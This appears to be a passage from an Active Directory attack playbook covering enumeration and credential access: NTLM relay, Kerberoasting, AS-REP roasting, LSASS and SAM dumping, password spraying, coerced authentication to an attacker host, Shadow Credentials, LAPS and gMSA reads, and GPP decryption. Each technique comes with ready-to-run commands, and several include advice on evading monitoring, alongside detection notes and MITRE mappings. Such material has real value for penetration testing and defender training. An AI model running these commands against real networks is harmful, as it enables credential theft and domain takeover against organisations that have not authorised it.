# From a Windows foothold, corroborate with native tooling
certutil -CATemplates & .\Certify.exe find /vulnerable

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: certipy find is read-only LDAP/RPC enumeration, so it is quiet and low-risk; the noise comes later when you enroll or relay. Re-run it from each principal you gain, since enrollment rights differ per account.

ADWS / SoaPy Stealth Enumeration

Collect AD data over ADWS (TCP 9389) instead of LDAP for far stealthier recon.

AD Web Services (ADWS) is enabled on every DC since Server 2008 R2 and exposes LDAP-style data over .NET SOAP framing on TCP 9389. Because ADWS proxies queries to local LDAP, collection appears as the DC connecting to itself, and the uncommon binary-SOAP traffic on 9389 is far less inspected than LDAP 389/636. SoaPy re-implements the ADWS stack in pure Python (runs from Linux through a SOCKS proxy) with BOFHound output for direct BloodHound ingestion, so you get the same attack-path graph while dodging LDAP-focused monitoring.

Requires

  • Valid domain credentials
  • TCP 9389 reachable to a DC (often via a SOCKS proxy/foothold)

Example commands

# Collect over ADWS via SOCKS (tee the BOFHound-formatted output to a log dir)
soapy corp.local/user:'PASS'@dc01.corp.local -dn 'DC=corp,DC=local' -q '(objectClass=user)' | tee data/users.log
# Transform into BloodHound JSON
bofhound -i data/ -o bloodhound_json/

Tools

MITRE ATT&CK: T1087.002

References

OPSEC / detection: Quieter than LDAP recon: it masks the originating HOST (in the ADDS/LDAP log the computer field shows the DC and the client address shows loopback), but the querying USER is still logged, so ADWS hides where the query came from, not who ran it. 9389 is rarely inspected, and ADWS is also used by RSAT/ADAC so it blends with admin traffic, but it is not invisible: a SACL canary on a decoy object fires Event ID 4662 recording the real querying account, which defeats the log obfuscation entirely.

Credential Access

NTLM Relay

Relay captured auth instead of cracking it; whether it lands depends on signing.

Instead of cracking the captured authentication, relay it in real time to another service and act as the victim. Whether the relay lands is decided by signing: if the target does not enforce session signing (SMB) or channel binding (LDAP), the relay goes through directly; if it does, you pivot to channels that do not ride SMB/LDAP signing. Set Responder's own SMB/HTTP servers OFF so it forwards to ntlmrelayx rather than competing.

Requires

  • Captured/poisoned/coerced authentication to relay
  • A reachable target service (each relay target has its own signing condition)

Example commands

# Relay to targets, dump SAM on success
ntlmrelayx.py -tf relay_targets.txt -smb2support
# Relay to LDAP for delegation/ACL abuse (needs LDAP signing off; --escalate-user only works if the relayed account already holds WriteDACL over the domain object, e.g. a relayed Exchange/DC machine account)
ntlmrelayx.py -t ldap://dc01 --escalate-user lowpriv

Tools

MITRE ATT&CK: T1557.001

References

OPSEC / detection: Set Responder SMB/HTTP servers to OFF so it forwards to ntlmrelayx instead of competing. Relay leaves authentication logs on the target.

Signing Not Enforced

SMB/LDAP signing off, so the relay lands directly on the target protocol.

When the target does not require session signing (SMB signing not enforced) or, for a DC, LDAP signing and channel binding are not enforced, the captured authentication relays straight through. Relay to SMB on a host where the principal is local admin for code execution or a SAM dump, or relay to LDAP to write ACLs (grant DCSync), configure RBCD, or add Shadow Credentials. The DCSync DACL write works over plain ldap://, but RBCD and Shadow Credentials that mint a new computer account (via ms-DS-MachineAccountQuota) need an encrypted channel (ldaps:// or LDAP+StartTLS), because AD refuses to set a machine-account password over cleartext LDAP. No password is ever cracked. Legacy and default-configured estates frequently sit here, but the defaults are tightening: Windows 11 24H2 and Server 2025 turn SMB signing on by default, so confirm the target is actually unsigned rather than assuming it.

Requires

  • Captured/coerced authentication
  • A target with SMB signing NOT enforced (SMB branch) or a DC with LDAP signing + channel binding NOT enforced (LDAP branch)

Example commands

# Enumerate hosts with SMB signing NOT required
nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# Relay to SMB, dump SAM on success
ntlmrelayx.py -tf relay_targets.txt -smb2support
# Relay to LDAP and escalate (needs LDAP signing/CBT off)
ntlmrelayx.py -t ldap://dc01 --escalate-user lowpriv

Tools

MITRE ATT&CK: T1557.001

References

OPSEC / detection: The relayed authentication and any code execution leave logon events (4624 type 3) on the target; the LDAP ACL write for --escalate-user is a high-signal directory modification (5136). --escalate-user also needs the relayed account to hold write access over the domain object.

Signing / CBT Enforced

Signing kills the SMB/LDAP relay, so pivot to channels that ignore it.

When SMB signing is required and the DC enforces LDAP signing plus channel binding (EPA), the direct SMB and LDAP relays fail. You can still relay to channels that do not ride SMB/LDAP session signing. Relay to AD CS HTTP web enrollment (ESC8) or the ICertPassage RPC (ESC11) to mint a certificate as the victim; relay to MSSQL (TDS) for xp_cmdshell. These channels are indifferent to SMB/LDAP signing, so they are your answer when it is enforced, though each has its own mitigation (ESC8 is closed by EPA on the CA web enrollment). WSUS is not one of these relay sinks: a rogue or impersonated WSUS server is a coercion/interception source (like PetitPotam or DFSCoerce) that captures a client authentication, which you then relay onward into these same channels. CVE-2019-1040 (drop-the-MIC) is not one of these: it strips the MIC to relay cross-protocol only against DCs that negotiate rather than require signing, so it belongs to the pre-enforcement case and simply fails once signing plus channel binding are actually required. It is a reason signing must be strictly required rather than merely negotiated, not a bypass of this enforced state. If nothing is reachable, fall back to cracking the NetNTLMv2 offline.

Requires

  • Captured/coerced authentication (ideally a machine account, for ESC8 → DC compromise)
  • A signing-agnostic relay target: an AD CS web/RPC endpoint or an MSSQL instance

Example commands

# Relay to AD CS web enrollment (ESC8), request a cert
ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Relay to MSSQL for xp_cmdshell
ntlmrelayx.py -t mssql://10.0.0.30 -i -smb2support --no-multirelay

Tools

MITRE ATT&CK: T1557.001

References

OPSEC / detection: Certificate enrollment (ESC8) and the follow-on PKINIT logon are auditable: AD CS issuance logs, plus the PKINIT logon itself is a TGT request (4768) with the certificate pre-auth type; 4769 only follows later when that TGT is used for a service. Relaying to MSSQL and running xp_cmdshell is loud. Coercing a machine account to feed the relay (PetitPotam/DFSCoerce) adds its own high-signal RPC calls.

Crack NetNTLMv2

Offline-crack the captured hash to a password.

If relaying is not viable (signing enforced everywhere), crack the captured NetNTLMv2 hash offline. This only yields usable credentials when the captured principal is a user account whose password is in scope of your wordlist and rules; machine-account (host$) captures use auto-generated ~120-character random passwords and are effectively uncrackable, and local (non-domain) captures do not give you domain credentials. So the path on to valid domain creds is conditional: the account must be a domain user with a weak or known password.

Requires

  • A captured NetNTLMv2 hash

Example commands

# Crack NetNTLMv2 (mode 5600)
hashcat -m 5600 captured.txt rockyou.txt -r rules/best64.rule

Tools

MITRE ATT&CK: T1110.002

OPSEC / detection: Fully offline: zero footprint on the target once captured.

Dump LSASS

Extract creds/tickets from memory.

LSASS holds credential material for logged-on users: NTLM hashes, Kerberos tickets, and sometimes cleartext. Dump it (carefully, EDR watches LSASS closely) to harvest higher-privilege credentials.

Requires

  • Local admin / SYSTEM on the host

Example commands

# Classic in-memory dump (Mimikatz console; needs debug right or SYSTEM)
privilege::debug
sekurlsa::logonpasswords
# LOLBin minidump (then parse offline)
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\l.dmp full
# Dump LSASS remotely (NetExec lsassy)
nxc smb <host> -u user -p pass -M lsassy

Tools

MITRE ATT&CK: T1003.001

References

OPSEC / detection: LSASS access is the single most-monitored action by EDR. Prefer protected-process bypasses, handle duplication, or dumping offline from a minidump.

Kerberoasting

Request a TGS for every user account that has an SPN; the encryption type you get back decides the branch.

Any authenticated user can request a service ticket (TGS) for a user account that has a Service Principal Name set. Computer accounts also carry SPNs, but their 120-character, randomly generated passwords rotate every 30 days, so they are not roasting targets; the commands filter them out with (!(objectClass=computer)). Part of that ticket is encrypted with the service account's key, so it is crackable offline with no special privileges, and service accounts are often over-privileged. What the KDC hands back depends on the account's msDS-SupportedEncryptionTypes and domain policy: an RC4 ticket you can crack at NT-hash speed, or an AES-only ticket that is PBKDF2-slow to crack. Enumerate the SPN accounts, request tickets, then handle them by the encryption type you receive.

Requires

  • Any valid domain account
  • Target accounts with an SPN set

Example commands

# Find Kerberoastable accounts (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 get search --filter '(&(servicePrincipalName=*)(!(objectClass=computer)))' --attr sAMAccountName,servicePrincipalName
# Also read supported enctypes to predict the branch
bloodyAD -u user -p pass -d domain.local --host dc01 get search --filter '(&(servicePrincipalName=*)(!(objectClass=computer)))' --attr sAMAccountName,msDS-SupportedEncryptionTypes
# Roast from Linux (KDC picks the etype)
GetUserSPNs.py DOMAIN/user:pass -dc-ip 10.0.0.1 -request

Tools

MITRE ATT&CK: T1558.003

References

OPSEC / detection: Requesting many TGS quickly triggers 4769 spikes; throttle and target named accounts. The encryption type you request is the bigger tell. The RC4 and AES branches cover the OPSEC of each.

RC4 Ticket (crackable)

Account allows RC4: the TGS is $krb5tgs$23$ and cracks at NT-hash speed.

If the SPN account still permits RC4 (msDS-SupportedEncryptionTypes allows etype 23, or is unset, which has historically defaulted the service-ticket etype to RC4 and continues to until the April 2026 update switches the TGS default to AES-SHA1; the Nov 2022 update only changed session/TGT keys, not TGS etype selection), the KDC issues an RC4 service ticket. The encrypted portion is keyed on the account's NT hash, so it cracks offline at full NTLM speed (hashcat mode 13100). This is the common outcome on legacy or default-configured domains and on individual accounts left at RC4. Rubeus /rc4opsec only roasts accounts that already support RC4, so you take the fast-cracking ticket without forcing a downgrade.

Requires

  • Any valid domain account
  • An SPN account that still supports RC4 (etype 23)

Example commands

# Roast only RC4-supporting accounts (no downgrade)
Rubeus.exe kerberoast /nowrap /rc4opsec
# Roast an SPN account from Linux (RC4-biased via NT-hash TGT; returns AES for AES-only accounts)
GetUserSPNs.py DOMAIN/user:pass -dc-ip 10.0.0.1 -request -request-user svc_sql

Tools

MITRE ATT&CK: T1558.003

References

OPSEC / detection: On a domain where AES is available, requesting RC4 is a detectable downgrade on the 4769 (ticket encryption type 0x17), and it feeds MDI/SIEM kerberoasting detections. /rc4opsec keeps you to accounts that only support RC4, so the request stays in-policy and quiet.

AES-only Ticket (hardened)

RC4 disabled: the TGS is $krb5tgs$18/17$ and PBKDF2 makes cracking very slow.

On a hardened domain (RC4 disabled via the "Network security: Configure encryption types allowed for Kerberos" GPO, or the account set AES-only), the KDC only issues AES tickets: $krb5tgs$18$ for AES256 (hashcat mode 19700) or $krb5tgs$17$ for AES128 (mode 19600). The AES key is PBKDF2-derived over 4096 iterations, so cracking is orders of magnitude slower than RC4. A long or machine-generated password (gMSA/dMSA, or a 25+ character service password) is effectively uncrackable. Roasting still has value: it confirms which service accounts exist, and any human-set password can still fall. If the target is AES-only with a strong password, do not grind. Pivot to a write-ACL path (targeted Kerberoasting of a weaker account, Shadow Credentials), a gMSA/dMSA password read, or a delegation abuse instead.

Requires

  • Any valid domain account
  • An SPN account whose password is human-set / weak enough to survive PBKDF2 cracking

Example commands

# Roast AES directly, no RC4 downgrade request
Rubeus.exe kerberoast /aes /nowrap
# Crack AES256 TGS (mode 19700, expect it to be slow)
hashcat -m 19700 tgs_aes.txt rockyou.txt -r rules/best64.rule

Tools

MITRE ATT&CK: T1558.003

References

OPSEC / detection: Requesting RC4 to downgrade an AES-capable account is exactly what the "suspected Kerberoasting" and encryption-downgrade detections look for. Do not attempt it here. Take the AES ticket at face value, or move to another branch; a burst of AES 4769s for service SPNs is still worth throttling.

AS-REP Roasting

Roast accounts with pre-auth disabled.

Accounts with "Do not require Kerberos pre-authentication" set will return an AS-REP containing data encrypted with the account's key, crackable offline. You can enumerate these even without credentials if you have a user list.

Requires

  • A user list (creds optional)
  • Accounts with pre-auth disabled

Example commands

# Find AS-REP-roastable accounts (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' --attr sAMAccountName
# Find + roast pre-auth-disabled accounts
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass

Tools

MITRE ATT&CK: T1558.004

References

OPSEC / detection: Bulk AS-REQ enumeration generates many 4768 events. Spread requests out and target known accounts.

Crack Hash Offline

Recover the cleartext from a roasted ticket or a Timeroast SNTP hash.

Roasted tickets (Kerberoast TGS and AS-REP) are crackable offline with a wordlist + rules. A cracked service-account or user password becomes your next identity. RC4 material falls fast, AES material only if the password is weak. Timeroast material is not a Kerberos ticket but an MS-SNTP MAC, cracked with its own mode (31300); it yields a computer-account password.

Requires

  • A roasted ticket/hash
  • A weak-enough password

Example commands

# Kerberoast TGS (mode 13100)
hashcat -m 13100 tgs.txt rockyou.txt -r rules/best64.rule
# AS-REP RC4 (mode 18200); AES AS-REPs need John, see below
hashcat -m 18200 asrep.txt rockyou.txt -r rules/best64.rule
# AES AS-REP (etype 17/18): stock hashcat has no mode, use John
john --format=krb5asrep --wordlist=rockyou.txt asrep_aes.txt
# Timeroast SNTP MAC (mode 31300; --username strips the RID prefix)
hashcat -m 31300 --username timeroast_hashes.txt rockyou.txt

Tools

MITRE ATT&CK: T1110.002

OPSEC / detection: Offline and invisible to the target. Strong/AES-only passwords resist this; escalate by another method if cracking fails.

Crack Encrypted Files & Archives

Pull a hash from a locked ZIP/Office/PDF/KeePass/PGP file and crack it offline.

Looted files are often password-protected: ZIP / RAR / 7z archives, Office documents, PDFs, KeePass (.kdbx) databases, and PGP/GPG private keys. The John *2john helpers extract a crackable hash from each, then john or hashcat recover the password offline against a wordlist. Two payoffs: the recovered password is a prime spray candidate (reuse is rampant, so try it across the user list for other accounts, not just the file it unlocked), and the decrypted contents routinely hold the next set of credentials or keys (config files, another vault, SSH keys) to loot and pivot with. SSH private-key passphrases crack the same way (ssh2john) on the Linux side.

Requires

  • A looted password-protected file (archive, Office doc, PDF, KeePass DB, or PGP key)

Example commands

# Archive / Office / PDF
zip2john secret.zip > h; john --wordlist=rockyou.txt h
office2john report.docx > h   # or pdf2john file.pdf, rar2john x.rar, 7z2john x.7z
# KeePass database (hashcat 13400)
keepass2john Database.kdbx > h
hashcat -m 13400 h rockyou.txt
# PGP/GPG private key
gpg2john privkey.asc > h; john --wordlist=rockyou.txt h

Tools

MITRE ATT&CK: T1110.002

References

OPSEC / detection: Cracking is entirely offline and invisible to the target; only the initial file read is logged. Strong passphrases resist it.

Password Spraying

Try one common password across many accounts.

Rather than many passwords against one account (which locks it), spray a single likely password (e.g. Season+Year) across the whole user list. Spraying over Kerberos (AS-REQ pre-auth) is often stealthier than SMB/LDAP (it frequently avoids 4625 logon-failure events) but still increments badPwdCount, so low-and-slow timing under the lockout threshold is essential. A single hit yields valid domain credentials.

Requires

  • A valid username list
  • Knowledge/guess of the lockout policy

Example commands

# Spray via Kerberos
kerbrute passwordspray -d domain.local --dc 10.0.0.1 users.txt 'Spring2025!'
# Spray over SMB
nxc smb 10.0.0.1 -u users.txt -p 'Spring2025!' --continue-on-success

Tools

MITRE ATT&CK: T1110.003

References

OPSEC / detection: Each failed bind increments badPwdCount; SMB/NTLM spraying generates 4625 (and 4776 on the DC), LDAP binds generate 4625, while Kerberos pre-auth spraying avoids 4625 and instead surfaces as 4768/4771 on the DC. Read the lockout policy first, throttle to one attempt per account per window, and pause before the threshold.

Coerced Authentication

Force a machine (or DC) to authenticate to you.

Authenticated RPC calls force a target, often a Domain Controller, to initiate NTLM auth back to an attacker host. PetitPotam (MS-EFSRPC), PrinterBug (MS-RPRN), and the multi-method Coercer all trigger this. The coerced auth is then relayed (to LDAP, ADCS web enrollment for ESC8) or captured by a host with unconstrained delegation.

Requires

  • Usually a valid domain account
  • Reachable RPC service (EFSRPC/RPRN/DFSNM) on the target

Example commands

# Multi-method coercion
Coercer coerce -u user -p pass -t 10.0.0.10 -l 10.0.0.50 -d domain.local
# PetitPotam (EFSRPC) coercion
PetitPotam.py -u user -p pass -d domain.local 10.0.0.50 10.0.0.10
# Check / fire coercion vectors (NetExec coerce_plus)
nxc smb <target> -u user -p pass -M coerce_plus -o LISTENER=<attacker_ip>

Tools

MITRE ATT&CK: T1187

References

OPSEC / detection: Coercion RPC calls and the resulting outbound auth to an unusual host are increasingly detected and many vectors are patched. Have your relay/capture listener running first.

Shadow Credentials

Write msDS-KeyCredentialLink -> PKINIT as the target.

With write rights over a target msDS-KeyCredentialLink (via GenericWrite/GenericAll), add an attacker-controlled key credential, then authenticate via PKINIT to obtain a PKINIT TGT (and, via UnPAC-the-Hash, the target NT hash): no password reset, and easily reverted. It works ONLY where the domain supports PKINIT, which requires AD CS deployed (an enterprise CA issuing the KDC/DC certificate); with no CA in the domain there is nothing to authenticate against, so fall back to Targeted Kerberoasting for the same GenericWrite.

Affects: Key Trust / msDS-KeyCredentialLink mapping requires a Server 2016+ DC (the attribute and PKINIT key-trust support landed in 2016).

Requires

  • GenericWrite/GenericAll over the target msDS-KeyCredentialLink
  • AD CS deployed for PKINIT (enterprise CA / KDC cert); with no CA the attack does not work

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 add shadowCredentials <target>
# Auto add/auth/cleanup (Certipy)
certipy shadow auto -u user@domain.local -p pass -account TARGET -dc-ip 10.0.0.1
# Add a key credential (pyWhisker)
pywhisker -d domain.local -u user -p pass --target TARGET --action add

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: Stealthier than a password reset (no lockout, attribute restored after use), but the key-credential write and PKINIT logon are auditable. Clean up the msDS-KeyCredentialLink value afterward.

Targeted Kerberoasting

Set a temp SPN on a controlled user, then roast it.

With GenericWrite/GenericAll over a target user that has no SPN, temporarily set a servicePrincipalName, request a TGS, then remove the SPN. The TGS is encrypted with the target password hash and cracked offline, turning a write-ACL edge into a credential.

Requires

  • GenericWrite/GenericAll, or WriteProperty/Validated-SPN on servicePrincipalName, over the target user
  • Target password crackable offline

Example commands

# Set SPN, roast, then clean up
targetedKerberoast.py -d domain.local -u user -p pass --request-user TARGET --dc-ip 10.0.0.1
# Write a fake SPN on the victim (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 set object victim servicePrincipalName -v 'fake/svc'
# Clear the SPN afterward (no value deletes it)
bloodyAD -u user -p pass -d domain.local --host dc01 set object victim servicePrincipalName

Tools

MITRE ATT&CK: T1558.003

References

OPSEC / detection: The SPN write logs 5136 only where Directory Service Changes auditing + a SACL are configured (off by default), so it is frequently absent; the TGS request (4769, with RC4/etype 0x17) is the more dependable signal. The tool removes the SPN automatically, but the brief change is detectable; cracking is offline.

SAM & LSA Secrets Dump

Pull local hashes, cached creds, and LSA secrets.

With SYSTEM/local admin you can dump the local SAM (local account hashes), cached domain credentials (MSCACHE), and LSA secrets (service-account / machine-account passwords): either save the registry hives and parse offline, or read them directly with secretsdump. A reliable credential source that never touches LSASS memory.

Requires

  • Local admin / SYSTEM on the host (or admin creds for remote)

Example commands

# Save registry hives
reg save HKLM\SAM sam.save & reg save HKLM\SYSTEM system.save & reg save HKLM\SECURITY security.save
# Parse local hives offline
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
# Remote dump with creds
secretsdump.py domain.local/Administrator:'Passw0rd!'@10.0.0.20

Tools

MITRE ATT&CK: T1003

References

OPSEC / detection: reg save of SAM/SECURITY and remote secretsdump (creates a service for some methods, 7045) are monitored. LSA secrets often yield a service or machine account, quieter than LSASS dumping.

Read LAPS Password

Read the LAPS-managed local admin password from AD.

LAPS stores each host's rotated local administrator password in AD: legacy LAPS in the cleartext ms-Mcs-AdmPwd attribute, Windows LAPS (April 2023+) in msLAPS-Password (JSON) or the AES-256 msLAPS-EncryptedPassword. Any principal granted the confidential read right (CONTROL_ACCESS / All-Extended-Rights, surfaced in BloodHound as ReadLAPSPassword) can recover the password and log in as local admin on that host. The encrypted variant adds a second gate: the value is DPAPI-NG-encrypted to a configured principal/group, so ReadLAPSPassword alone returns only the ciphertext blob unless you are also an authorized decryptor (nxc's laps module decrypts the DPAPI-NG blob transparently when your context holds that right; pyLAPS only reads the legacy ms-Mcs-AdmPwd attribute).

Requires

  • A principal with the LAPS read right over the target computer
  • LAPS deployed in the domain

Example commands

# Read/dump LAPS passwords over LDAP (NetExec)
nxc ldap dc01 -d domain.local -u user -p pass -M laps
# Authenticate/exec with the LAPS password (NetExec)
nxc smb 10.0.0.1 -u user -p pass --laps
# Read with pyLAPS
pyLAPS.py --action get -d domain.local -u user -p pass --dc-ip 10.0.0.1

Tools

References

OPSEC / detection: Reading the password attribute is an LDAP query (directory-read; 4662 when SACLs are configured) and does not rotate the password. The recovered password is valid until the next LAPS rotation interval.

Read gMSA Password

Read msDS-ManagedPassword to derive a gMSA NT hash.

A Group Managed Service Account's password is computed by the KDC and exposed in the msDS-ManagedPassword blob. Principals listed in msDS-GroupMSAMembership (BloodHound: ReadGMSAPassword) can read that blob and derive the account's NT hash (and AES keys), then pass-the-hash or overpass-the-hash as the gMSA, which is often a privileged service identity.

Affects: gMSAs require a Server 2012+ DC (the KDS root key and msDS-ManagedPassword arrived in Server 2012).

Requires

  • Membership in the gMSA's msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword), or GenericAll to grant it
  • LDAPS reachable (NetExec --gmsa requires it)

Example commands

# Dump gMSA password/hash
gMSADumper.py -u user -p pass -d domain.local
# Read gMSA via NetExec (LDAPS)
nxc ldap dc01 -d domain.local -u user -p pass --gmsa
# Grant yourself retrieval rights first (GenericAll)
bloodyAD -u user -p pass -d domain.local --host dc01 add genericAll '<gMSA$>' '<attacker>'

Tools

References

OPSEC / detection: The managed-password read is an LDAP query; Windows refuses to return the blob over cleartext LDAP, so retrieval typically forces LDAPS. The derived hash stays valid until the gMSA rotates (default 30 days).

GPP cPassword (MS14-025)

Decrypt cpassword from SYSVOL Groups.xml to cleartext.

Group Policy Preferences could push credentials (e.g. a local admin set via Groups.xml, or scheduled-task/service/mapped-drive creds). The password is stored in a cpassword attribute encrypted with a 32-byte AES key Microsoft published in MSDN, so any authenticated domain user who can read SYSVOL can decrypt it to cleartext. MS14-025 stopped new GPP credentials but left existing XML in place.

Requires

  • Read access to SYSVOL (any authenticated domain user)
  • A legacy GPP XML still containing cpassword

Example commands

# Find & decrypt GPP creds (NetExec)
nxc smb 10.0.0.1 -u user -p pass -M gpp_password
# Hunt GPP passwords (PowerSploit)
Get-GPPPassword
# Decrypt a known cpassword
gpp-decrypt -c <cpassword>

Tools

MITRE ATT&CK: T1552.006

References

OPSEC / detection: SYSVOL reads are normal domain traffic and decryption is fully offline, so this is very low-signal. Modern, well-patched domains have usually purged GPP cpassword files.

Pass-the-Certificate

PKINIT with a client-auth cert -> TGT, then UnPAC the NT hash.

A certificate with the Client Authentication EKU (from ADCS abuse, shadow credentials, or a stolen PFX) can pre-authenticate via PKINIT to obtain a Kerberos TGT for that principal. UnPAC-the-hash then recovers the account's NT hash from the PAC (using the AS-REP key), giving you both a usable ticket and a reusable hash without ever knowing the password.

Requires

  • A certificate (PFX) with Client Authentication EKU for the target
  • A PKINIT-capable KDC (AD CS / KDC cert)

Example commands

# Auth with a PFX -> TGT + NT hash (Certipy)
certipy auth -pfx user.pfx -dc-ip 10.0.0.1
# Get a TGT via PKINIT (PKINITtools)
gettgtpkinit.py domain.local/user -cert-pfx user.pfx user.ccache
# UnPAC the NT hash from the AS-REP key
getnthash.py domain.local/user -key <AS_REP_KEY>

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: PKINIT logons are auditable (4768 with certificate info) and certificates outlive password resets, making them durable. Certipy auth performs UnPAC-the-hash automatically after obtaining the TGT.

Azure AD Connect Sync Creds

Decrypt the directory-sync account on an Entra Connect server; it can DCSync.

A server running Azure AD Connect (Entra Connect) stores its on-prem AD DS Connector account in a local SQL/LocalDB database, encrypted with DPAPI keys held by the ADSync service. With local admin or SYSTEM on that server (or read access to the ADSync database), the credentials are recovered and decrypted. Where Password Hash Synchronization is enabled, the connector account is granted DS-Replication rights, so the recovered account can DCSync the entire domain with no Domain Admin membership.

Requires

  • Local admin / SYSTEM on an Azure AD Connect server (or ADSync DB read access)

Example commands

# Dump + decrypt over the network against the Connect host (adconnectdump)
python adconnectdump.py DOMAIN/user:pass@connect-host
# Read sync creds with AADInternals
Get-AADIntSyncCredentials

Tools

MITRE ATT&CK: T1003

References

OPSEC / detection: Reading the ADSync database and DPAPI keyset is quieter than touching LSASS, but the recovered connector account then performing a DCSync raises DS-Replication (4662) events on the DC. Hosts that run directory sync are high-value and frequently better monitored.

Reset Expired / Must-Change Password

A spray hit flagged STATUS_PASSWORD_MUST_CHANGE is reset over SAMR into working creds.

Password spraying (or a default / blank password) sometimes returns STATUS_PASSWORD_MUST_CHANGE rather than a clean success: the account is valid but its password is expired or flagged to change at next logon, so it cannot be used yet. A SAMR password change turns the dead hit into a usable domain credential. For an expired / must-change account you supply the KNOWN expired password; the change succeeds because SAMR ChangePasswordUser2 is permitted over a null-session IPC$ connection even though interactive logon is blocked. (A genuinely blank-password account is the separate case where the old value is empty.) This differs from ForceChangePassword (an extended right held over a DIFFERENT principal) and from setting a password by NT hash (which needs the current hash).

Requires

  • A spray hit returning STATUS_PASSWORD_MUST_CHANGE / password expired

Example commands

# Reset a must-change account (NetExec)
nxc smb 10.0.0.1 -u user -p OldExpiredPw -M change-password -o NEWPASS='NewPass123!'
# Reset over SMB-SAMR (impacket)
changepasswd.py 'domain.local/user:OldExpiredPw@10.0.0.1' -newpass 'NewPass123!'

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: A password change writes pwdLastSet and raises Event ID 4723 (a self-service change of the account's own password); 4724 is the ForceChangePassword/admin-reset case (see that node), not this one. Changing a real user password is disruptive and is usually noticed by the owner.

Account State Manipulation

Re-enable, unlock, or reset a blocked target account so its credential becomes usable.

A target principal is valid in the directory but cannot be used because its state forbids it: the account is disabled (the ACCOUNTDISABLE flag in userAccountControl), its logonHours bitmask blocks every window, or its password is flagged must-change or expired. With write rights over the object (GenericAll / GenericWrite / ForceChangePassword) you edit the offending attribute: strip the ACCOUNTDISABLE flag, restore an all-allowed logonHours mask, or reset the password. The dead account becomes a working credential. This is the write-access counterpart to resetting a spray hit flagged must-change.

Requires

  • Write control over the target account (GenericAll / GenericWrite / ForceChangePassword), or its current/old password
  • SAMR / LDAP / SMB reachable to the DC

Example commands

# Re-enable a disabled account (strip the ACCOUNTDISABLE flag)
bloodyAD -u <opUser> -p '<opPass>' -d domain.local --host <DC> remove uac <user> -f ACCOUNTDISABLE
# Restore an all-allowed logonHours mask (lift the logon-time restriction)
bloodyAD -u <opUser> -p '<opPass>' -d domain.local --host <DC> set object <user> logonHours -v '////////////////////////////' --b64
# Force-reset the password regardless of the old one
bloodyAD -u <opUser> -p '<opPass>' -d domain.local --host <DC> set password <user> '<NewP@ss>'
# Verify the now-usable credential authenticates
netexec smb <DC> -u <user> -p '<NewP@ss>'; netexec winrm <DC> -u <user> -p '<NewP@ss>'

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: Editing userAccountControl or logonHours and resetting a password are auditable directory changes (4738 / 4724), and re-enabling a dormant account can trip account-management alerts. Revert the attribute after use where possible.

RemotePotato0 (Cross-Session NTLM Coercion)

From a low-priv session, coerce a different logged-on user’s NTLM auth via DCOM, then crack or relay it.

On a multi-user host (e.g. an RDS/jump server), a low-privilege session can abuse DCOM activation to trigger the NTLM authentication of ANOTHER interactive user currently logged on. The captured NetNTLMv2 is either cracked offline or relayed cross-protocol (e.g. to LDAP) to act as that higher-privileged user. Unlike machine-account coercion (PetitPotam/PrinterBug), this targets a logged-on USER's context without their interaction. Status: the RPC->LDAP relay path was fixed in the October 2022 Windows updates (the DCOM client auth level was raised, enforcing NTLM signing), so on modern patched hosts the flagship relay is dead; it is not a CVE. The capture / offline-crack path is unaffected by signing and may still work, as does the relay against unpatched hosts.

Requires

  • A local session on a host where a more privileged user is also logged on

Example commands

# Coerce + capture a logged-on user (module 2 = RPC capture)
RemotePotato0.exe -m 2 -s 1 -x <attacker_ip> -p 9999
# Coerce + cross-protocol relay (module 0, with ntlmrelayx listening)
RemotePotato0.exe -m 0 -r <relay_listener_ip> -x <oxid_resolver_ip> -p 9999 -s 1
# Crack the captured NetNTLMv2
hashcat -m 5600 captured.txt rockyou.txt

Tools

MITRE ATT&CK: T1187

References

OPSEC / detection: Needs a privileged user logged on concurrently; the cross-session DCOM activation and the outbound auth are detectable, and the relay leg carries the usual relay signatures. On patched hosts (post-Oct-2022) the RPC->LDAP relay leg fails outright (signing enforced), so the residual value is the offline-crack path against captured NetNTLMv2.

category Credential Access

Harvest more (and better) credentials.

Collect more secrets you can authenticate with: roastable Kerberos tickets, GPP passwords left in SYSVOL, and AD-managed secrets like LAPS and gMSA. These widen access toward higher-privileged accounts.

MITRE ATT&CK: T1552

References

category Coercion & Forced Auth

Make a victim authenticate to you.

Force a machine or user account to authenticate to an attacker-controlled host (PetitPotam, PrinterBug, WebDAV, malicious files), then relay or capture that authentication, frequently from a Domain Controller machine account.

MITRE ATT&CK: T1187

References

category Kerberos Roasting

Request offline-crackable Kerberos tickets.

Abuse Kerberos for crackable material: Kerberoasting pulls TGS-REP hashes for accounts with SPNs, and AS-REP roasting targets accounts with pre-authentication disabled.

MITRE ATT&CK: T1558

References

category Managed Secrets (LAPS/gMSA)

Read AD-rotated local-admin & service secrets.

Recover secrets that Active Directory stores and rotates (LAPS local-administrator passwords and gMSA managed-account passwords) wherever your principal holds the right to read them.

References

category Credential Dumping

Extract secrets from a compromised host.

From local admin / SYSTEM, dump credential material such as LSASS memory, SAM/LSA secrets, DPAPI, and app and browser secrets, plus, with replication rights, the DC's entire credential store.

MITRE ATT&CK: T1003

References

category Host & LSASS Secrets

Dump in-memory and on-disk host secrets.

Harvest credentials cached on a host you own: LSASS memory (hashes, tickets, sometimes cleartext), the local SAM/LSA secrets, and PPL/WDigest tricks to defeat protections.

MITRE ATT&CK: T1003.001

References

category App & User Secrets

Loot application and user-stored secrets.

Recover secrets stashed by users and apps: DPAPI-protected blobs, KeePass databases, saved browser logins and cookies, and live RDP sessions to hijack.

MITRE ATT&CK: T1555

References

